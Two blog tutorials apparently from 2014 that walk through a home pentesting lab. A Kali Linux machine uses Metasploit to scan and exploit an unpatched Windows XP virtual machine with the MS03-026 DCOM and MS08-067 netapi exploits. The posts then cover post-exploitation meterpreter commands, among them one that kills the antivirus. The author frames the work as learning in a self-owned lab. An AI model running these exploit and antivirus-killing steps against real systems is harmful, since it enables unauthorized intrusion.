Penetration Testing : Hacking Windows Using Metaploit and Meterpreter

Pentesting with Windows Using Metasploit

Now, in the previous tutorial, which was the first tutorial on practical penetration testing, we got our hacking lab setup and exploited our first victim machine, which was an unpatched and vulnerable Windows XP machine. Our attacker machine was Kali Linux, and we were using Metasploit Framework, the most best tool when it comes to penetration testing (pentesting). We used the MS08-dcom vulnerability, which is a very famous vulnerability in Windows XP. The fact that it is famous means that most of the Windows machines already have this vulnerability patched, which means it will not actually work on a real life system (unless its your grandpa's system, which does not have automatic updates enabled). Now in this tutorial we will move on to payload execution, and see what all we can do after we have successfully exploited a vulnerability. It's important that you go through the previous tutorial in order to understand this one, as I will not explain the steps on how to exploit a system.



I will only show you what to do after you have successfully exploited one. Here is the link-

Exploiting A Vulnerable Windows Machine Using Metasploit

The above link will also help you setup a penetration testing lab with an attacker machine (Kali linux), a victim machine (XP unpatched). Both will be virtual machines and will be created using VMware workstation.  Now assuming you have read the above tutorial and have successfully exploited an XP machine, you are ready to move from the tedious jobs to the fun ones.

For those who come from previous tutorial

You are most probably left with something like

C:\WINDOWS\system32>

Now this is exactly what you'll get if you start a command prompt shell in your XP. A command prompt shell is like the terminal in linux. From here you  can do stuff in non GUI mode. The command prompt can be started on a Windows machine ( will work on any version most probably). Type  + R. The windows key can be found between ctrl and alt, and looks like the windows logo. This will open the Run window.( If the key combination doesn't seem to work, figure out some other way to get the run windows. Alternatively you can open the task manager and click new task.) Now type cmd and press enter. You will see a black windows with title command prompt. This is exactly what you obtained in your Kali machine after you successfully completed previous tutorial. Now what you can do is move around, create and delete stuff etc. For example 'cd..' (no quotes) takes you one directly above where you already where. cd takes you to the name folder in command prompt (if it exists). Now I can't really start teaching command prompt here, and it will be better if you google it up or go to this site about command prompt codes. After you have played enough, type exit and you'll leave the command prompt. You can now move on to a better payload than the shell_bind_tcp that we were using. We will use the meterpreter payload.

Steps you don't repeat

• Information gathering - You don't have to determine the IP addresses of target and victim computer again. They are the same.
• You don't have to specify the exploit again, however you can use a new exploit if you want to. I recommend that you use a new exploit as you have to take every opportunity to practice more and more stuff, specially when you just got started. We used exploit/windows/dcerpc/ms03_026_dcom. This time we will use netapi , i.e. exploit/windows/smb/ms08_067_netapi

Things that changed

• The PAYLOAD - We are using meterpreter payload instead of shell_bind_tcp. We will end up with something like meterpreter> instead of C:\WINDOWS\system32>. Once successful, meterpreter provides a lot of functionality.
• The payload requirements. All payloads require you to specify the port and IP of target (RHOST). However, some payloads require the IP of attacker machine too (LHOST). Use SHOW OPTIONS to figure out what all data your exploit needs. In the information gathering step you already obtained the IP and open ports of victim as well as your own IP. Use the SET command to assign whatever values you need to assign. All other SET commands will be same, other than 

SET LHOST 192.168.---.---

The screenshots below will help you through the process. I will make it even more detailed when I am able to get time.

Exploiting the machine

Here are a few screenshots to guide you through the process of exploiting the machine. I am not explaining anything, as you already know the details from the previous tutorial. The point I want you to notice is that I'm using a different payload and a different exploit this time. The payload is meterpreter (the best payload offered by metasploit, with a load of functionality) and the exploit is Netapi (works on the same MS08 vulnerability, just a different exploit). The exploit has been changed just for the sake of practice, and you are suggested to try out even more exploits (most of the times you'll fail, but keep trying). Here are the screens-

Victim's IP (Windows XP)

Attacker's IP (Kali Linux)

Starting the postgresql and metasploit services

Starting the metasploit framework

Selecting the exploit

Setting RHOST and PAYLOAD

Exploiting the XP target

So we finally have exploited the machine. Now the fun part begins

Post-exploitation fun : Using the payload features

To see a list of options provided by meterpreter, just type ?

meterpreter > ?

Getting to know the victim

Now lets do a basic sysinfo to see some info about the system we have just gained access to. Also, do a getuid to get information about the user that you are logged in as in the victim system, and the privilege the user (or you) have. And getpid will show you the process your payload is using, and ps lists all the processes running on the victim system.

meterpreter > sysinfo

meterpreter > getpid

meterpreter > getuid

meterpreter > ps

 Note: Making these code boxes is getting tedious some I'm gonna keep the code in bold. You guys help yourselves. (I'm lazy as hell)

A few random meterpreter run commands

You might also do a run checkvm to check if your target is running on a virtual machine.
To get a list of all applications installed on your victim machine, type run get_application_list.
To stop the antivirus on the victim, do a run killav. It will not work in practical cases, as killing an antivirus process can't possibly as easy as a single line of code. However, depending on your victim machine which you have chosen in this practice session, there are chances that it might work.

Conclusion

You just gotta try more commands. Most are fun.

That's it I guess. I'd leave you here. Explore other commands that you can execute, and comment if you find anything interesting. I'd keep adding stuff to this list whenever I get time.

Read more

by Malik korrich ~ vendredi 28 février 2014 0 commentaires

Penetration Testing - Hacking XP

Our approach to penetration testing is going to be simple. I already made a post about the ideal way to begin penetration testing. But we aren't going to ideal way. I'm gonna teach you penetration testing the way I learnt it. By doing actual penetration and exploitation. We can't hack completely patched Windows 7 or Windows 8 right in the first tutorial, but we can definitely hack an unpatched Windows XP machine. However, to do that, you need to victim machine. Testing this method on someone else's computer is not recommended and is quite illegal. It is strongly advised to create your own virtual machine and test exploits there.

What are you going to need

Knowledge

• Basic Penetration testing terms (I recommend that you take a look here, as I'm going to use the terms freely without any explanation here in this tutorial)
• The tough manual way of penetration testing (A large patch of advanced material which will help you become a great pentester if you have the patience to read it all and capability to understand it)
• VMWare tools (Without Vmware tools there is no way you can have a Kali linux (attacker machine) and unpatched XP (target machine) running at the same time in one single computer)

Virtual Machines

• Kali linux ( Click the link for a complete detailed guide)
• Windows XP (After you've followed the tutorial above for installing Kali linux, installing XP on a VM will be a piece of cake, a few screenshots of the process)

Now there is catch in Windows XP. While Kali linux is free, Windows XP is not. So you have to buy one. I'm dead against piracy, and won't promote anything of that kind on my blog. Just make sure that when you are buying a Windows XP cd, it is unpatched and SP1. If it is patched then the exploits won't work. Your best bet would be to look up your shelves to find an old XP cd that you bought years ago which is catching dust, and put it to some use.

A look at Metasploit Framework

Starting the framework

"In keeping with the Kali Linux Network Services Policy, there are no network services, including database services, running on boot so there are a couple of steps that need to be taken in order to get Metasploit up and running with database support." Simply speaking, there are some services that metasploit needs which aren't started with system startup. So here's some commands you need to execute on your console before you can start metasploit

service postgresql start

(Metasploit uses PostgreSQL as its database so it needs to be launched first.)

With PostgreSQL up and running, we next need to launch the metasploit service. The first time the service is launched, it will create a msf3 database user and a database called msf3. The service will also launch the Metasploit RPC and Web servers it requires.

service metasploit start

Now finally we are ready to start metasploit framework.

msfconsole

Looking at the targets

Right now, my metasploit framework is running on Kali on Vmware on a Windows 8 machine. Also, there is a Windows XP Sp3 virtual machine running side my side with my Kali. So what we need to do is detect these machines in Metasploit framework. For this we'll do a port scan.

Port Scan

Metasploit offers an awesome port scanning function which goes by the name auxiliary scanner. Here is the command to execute this scan

To use this feature, enter the following code-

use auxiliary/scanner/portscan/tcp

Type show options to see the available options

show options

 Now we have to change a few settings, firstly, we should reduce the number of ports scanned

 set ports 1-500

Secondly, we have to specify a target IP to scan. Now this is a bit tricky, as the IP is not going to be the same in all cases. So here's what you'll do. Go to your XP virtual machine (the one you are trying to hack). Open command prompt and type

ipconfig

In the results, check the IP of the machine. This is what you'll have to specify the RHOSTS option as.

In my case the IP is 192.168.63.131

Now go back to your Kali machine, and type the fol (change the IP as required)

set RHOST 192.168.63.131

Here's what it should look like

There's a slight error here, I spelled RHOSTS wrong. Make sure you add the 's' in the end.

Now we are ready for some action, do a show options again to see what all changes you've made. Finally, type-

run

The scan will start and after some time it will show you which tcp ports are open and vulnerable to attack.
If you had not been using an unpatched version of Windows, there will not be any vulnerable ports.

This basically means that there are no open ports here. Nothing much you can do. However if you had some good luck there, and had a vulnerable machine, you will have some vulnerable ports. In my case, I turned off the firewall on the windows machine and run the auxiliary module again.

I got 3 open ports this time. If you are using some higher XP version, you too might need to disable firewall in order to get open ports.
Now we know we have a target at IP 192.168.63.131 and it has port 135 139 and 445 open.

Real life port scan

In actual pentesting environment, you don't know about the IP, open ports and OS of the target computer. In such cases, we can use Nmap port scanner which is much better than auxiliary. We'll come to that later.

Finding Exploits

This step is important. We need to figure out which exploits work on the OS we are attacking. In our case, we already know what to do. Type back to get out of auxiliary scanner. Search for dcom on msfconsole.

search dcom

This is a very famous exploit for Windows.

Copy the exploit number 3. (Which shows great as rank). In the next line, type

use exploit/windows/dcerpc/ms03_026_dcom

You are now using the most famous Windows exploit. Type show options again

show options

Again, set the RHOST as 192.168.63.131 (replace with the IP of your target)

set RHOST 192.168.63.131 

Also, set a payload.

set PAYLOAD windows/shell_bind_tcp

And here's the best part

exploit

You have now successfully broken into the target computer. You have an open shell on the target computer with administrator privileges. In short, you own that computer now. Try out what all you can do from here on. I'll come up with more in the next tutorial.
Update - The next tutorial is here. It discusses the post exploitation fun that you can have with the meterpreter payload.  Post exploitation fun in an exploited xp machine
We have a pentesting lab now and have successfully exploited an XP machine.

Read more

by Malik korrich ~ vendredi 14 février 2014 0 commentaires